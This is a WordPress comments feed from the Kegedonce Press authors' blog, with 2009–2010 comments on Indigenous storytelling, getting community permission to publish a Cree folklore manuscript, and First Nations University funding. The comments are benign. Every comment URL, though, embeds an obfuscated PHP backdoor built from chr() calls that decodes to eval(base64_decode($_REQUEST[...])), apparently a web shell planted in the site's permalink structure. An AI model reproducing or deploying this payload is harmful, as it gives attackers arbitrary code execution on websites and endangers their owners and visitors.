Comments for Kegedonce Authors' Blogs http://www.kegedonce.com/blog Blogs from various authors highlighted on Kegedonce Press Thu, 09 Sep 2010 02:14:43 +0000 http://wordpress.org/?v=2.7.1 hourly 1 Comment on Out of the closet by Kateri Akiwenzie-Damm http://www.kegedonce.com/blog/%info$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()*%/comment-page-1#comment-204 Kateri Akiwenzie-Damm Sun, 18 Apr 2010 23:46:17 +0000 http://www.kegedonce.com/blog/?p=116#comment-204 Oh how you make us wait Marilyn... Oh how you make us wait Marilyn…

]]> Comment on Joanne Arnott’s Blog by kegedonce http://www.kegedonce.com/blog/%info$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()*%/comment-page-1#comment-203 kegedonce Sun, 18 Apr 2010 22:42:42 +0000 http://www.kegedonce.com/blog/?p=20#comment-203 Joanne, I agree with your response. The important thing to stress is that copyright to traditional or Old Time Indigenous stories is communal. Hearing them does not give one the ‘right’ to publish them. One still requires permission. That said, because the manuscript is so old it almost certainly has historical worth – however, beyond this it may require editing before it would be publishable today and this gets tricky. For example, the term ‘folk lore’ is not one that I would think most Cree people would use to refer to their stories. Changing it to make it more current and correct would be better for a modern reader – but the author isn’t here to give permission for his work to be altered and in a way it may impact on the integrity of the work as a historical document. So, this would have to be worked out perhaps by having two versions, one in its original state that the communities (and perhaps cultural centre) could archive and one that would be edited and prepared to be submitted to a publisher. I echo Joanne's comments to be careful in the choice of publisher and to arm oneself with knowledge of publishing contracts and processes. In any case, I do believe that people from the communities your friend visited would be very interested in seeing the manuscript and archiving it. That in itself would be a great legacy for your friend. Anyway, I do hope that helps. Joanne, I agree with your response. The important thing to stress is that copyright to traditional or Old Time Indigenous stories is communal. Hearing them does not give one the ‘right’ to publish them. One still requires permission.

That said, because the manuscript is so old it almost certainly has historical worth – however, beyond this it may require editing before it would be publishable today and this gets tricky. For example, the term ‘folk lore’ is not one that I would think most Cree people would use to refer to their stories. Changing it to make it more current and correct would be better for a modern reader – but the author isn’t here to give permission for his work to be altered and in a way it may impact on the integrity of the work as a historical document. So, this would have to be worked out perhaps by having two versions, one in its original state that the communities (and perhaps cultural centre) could archive and one that would be edited and prepared to be submitted to a publisher.

I echo Joanne’s comments to be careful in the choice of publisher and to arm oneself with knowledge of publishing contracts and processes.

In any case, I do believe that people from the communities your friend visited would be very interested in seeing the manuscript and archiving it. That in itself would be a great legacy for your friend.

Anyway, I do hope that helps.

]]> Comment on Joanne Arnott’s Blog by Joanne Arnott http://www.kegedonce.com/blog/%info$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()*%/comment-page-1#comment-202 Joanne Arnott Sun, 18 Apr 2010 20:37:41 +0000 http://www.kegedonce.com/blog/?p=20#comment-202 Well, first step would be to talk to his literary executor which, if you are heir to his estate, may well be you. Next, I think it would be good protocol to contact the people currently representing the specific communities that your friend worked in, and share the material with them, both for their own archives, and from the perspective of (hopefully) getting permission to share the work as written by your friend, in his youth. As stories generally belong to individuals, and/or famillies, communities, this is a very important step in your journey. As these things go, help will appear: the more people that you talk to about the project, the more specific details of where to go next will appear... there are some excellent publishers, and some slightly treacherous ones, and I wish you a soft journey bearing the gifts of your friend's memory. Joanne Well, first step would be to talk to his literary executor which, if you are heir to his estate, may well be you.

Next, I think it would be good protocol to contact the people currently representing the specific communities that your friend worked in, and share the material with them, both for their own archives, and from the perspective of (hopefully) getting permission to share the work as written by your friend, in his youth. As stories generally belong to individuals, and/or famillies, communities, this is a very important step in your journey.

As these things go, help will appear: the more people that you talk to about the project, the more specific details of where to go next will appear… there are some excellent publishers, and some slightly treacherous ones, and I wish you a soft journey bearing the gifts of your friend’s memory.

Joanne

]]> Comment on Joanne Arnott’s Blog by Debra Blinn http://www.kegedonce.com/blog/%info$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()*%/comment-page-1#comment-194 Debra Blinn Thu, 25 Mar 2010 14:24:13 +0000 http://www.kegedonce.com/blog/?p=20#comment-194 A very dear friend of mine has passed away at the age of 95 yrs old and I have been heir to his estate,I found a manuscript he wrote when he was a young man in his early twenties ,in the summer months being a university student he worked on a reservation for the government and he would travel to remote villages and collect information on Cree folk lore,he told me he did this for a few years . I have this manuscript and lots of pictures he took while staying on the reservation,I wanted to take this information he collected and put it into a book, in his memory, it is a shame for all this work and time he invested in the study of Cree Folk lore to just let it all be forgotten about .Any suggestions as to how to get started with this project ? Thank you Debra Blinn A very dear friend of mine has passed away at the age of 95 yrs old and I have been heir to his estate,I found a manuscript he wrote when he was a young man in his early twenties ,in the summer months being a university student he worked on a reservation for the government and he would travel to remote villages and collect information on Cree folk lore,he told me he did this for a few years . I have this manuscript and lots of pictures he took while staying on the reservation,I wanted to take this information he collected and put it into a book, in his memory, it is a shame for all this work and time he invested in the study of Cree Folk lore to just let it all be forgotten about .Any suggestions as to how to get started with this project ? Thank you Debra Blinn

]]> Comment on traveller’s drift by Kateri Akiwenzie-Damm http://www.kegedonce.com/blog/%info$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()*%/comment-page-1#comment-193 Kateri Akiwenzie-Damm Thu, 25 Mar 2010 05:06:27 +0000 http://www.kegedonce.com/blog/?p=229#comment-193 Joanne, thanks for your gracious words and for your work on STONE THE CROW. See you in Toronto! Joanne, thanks for your gracious words and for your work on STONE THE CROW. See you in Toronto!

]]> Comment on guitar & visit by Kateri Akiwenzie-Damm http://www.kegedonce.com/blog/%info$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()*%/comment-page-1#comment-192 Kateri Akiwenzie-Damm Thu, 25 Mar 2010 05:02:33 +0000 http://www.kegedonce.com/blog/?p=230#comment-192 Interesting dream - thanks for sharing Joanne. Glad to have you here, blogging! Interesting dream - thanks for sharing Joanne. Glad to have you here, blogging!

]]> Comment on Fund First Nations University Now! by CMax http://www.kegedonce.com/blog/%info$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()*%/comment-page-1#comment-184 CMax Tue, 09 Mar 2010 21:49:46 +0000 http://www.kegedonce.com/blog/?p=238#comment-184 Our dream has to be independance, First Nations University was the stepping stone that first nations people needed. There has to be a new generation that will take those steps and make it a reality. We will always stumble over the same thing, but we have to lead the way to new things. It is not so much our institute as it is our spirit, and nothing can take our need to reach greater heights away. Its only by a vision that we can move on, and First Nations University will never die, we have been blessed to know that all that the institute represented was a dream for many. Our dream has to be independance, First Nations University was the stepping stone that first nations people needed. There has to be a new generation that will take those steps and make it a reality. We will always stumble over the same thing, but we have to lead the way to new things. It is not so much our institute as it is our spirit, and nothing can take our need to reach greater heights away. Its only by a vision that we can move on, and First Nations University will never die, we have been blessed to know that all that the institute represented was a dream for many.

]]> Comment on traveller’s drift by czandra http://www.kegedonce.com/blog/%info$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()*%/comment-page-1#comment-155 czandra Wed, 16 Dec 2009 23:03:30 +0000 http://www.kegedonce.com/blog/?p=229#comment-155 Your thanksgiving distinguishes you. Your giving thanks distinguishes. Your thanks distinguish. Thanks. Cz Your thanksgiving distinguishes you.
Your giving thanks distinguishes.
Your thanks distinguish.
Thanks.

Cz

]]> Comment on traveller’s drift by czandra http://www.kegedonce.com/blog/%info$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()*%/comment-page-1#comment-154 czandra Wed, 16 Dec 2009 23:01:48 +0000 http://www.kegedonce.com/blog/?p=229#comment-154 good to hear your voice again on-screen, Jo. I like the idea of drift applied to just about anything - planetary drift, trajectory drift, slicing and carving to compensate, the drift back to the beginning. Your thanksgiving distinguish you. xoCz good to hear your voice again on-screen, Jo. I like the idea of drift applied to just about anything - planetary drift, trajectory drift, slicing and carving to compensate, the drift back to the beginning.
Your thanksgiving distinguish you.

xoCz

]]> Comment on Al Hunter’s Blog by Kateri Akiwenzie-Damm http://www.kegedonce.com/blog/%info$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()*%/comment-page-1#comment-141 Kateri Akiwenzie-Damm Thu, 26 Nov 2009 18:51:07 +0000 http://www.kegedonce.com/blog/?p=14#comment-141 Yeah, Al, let us know what you're doing these days. How's the new book coming along? Yeah, Al, let us know what you’re doing these days. How’s the new book coming along?

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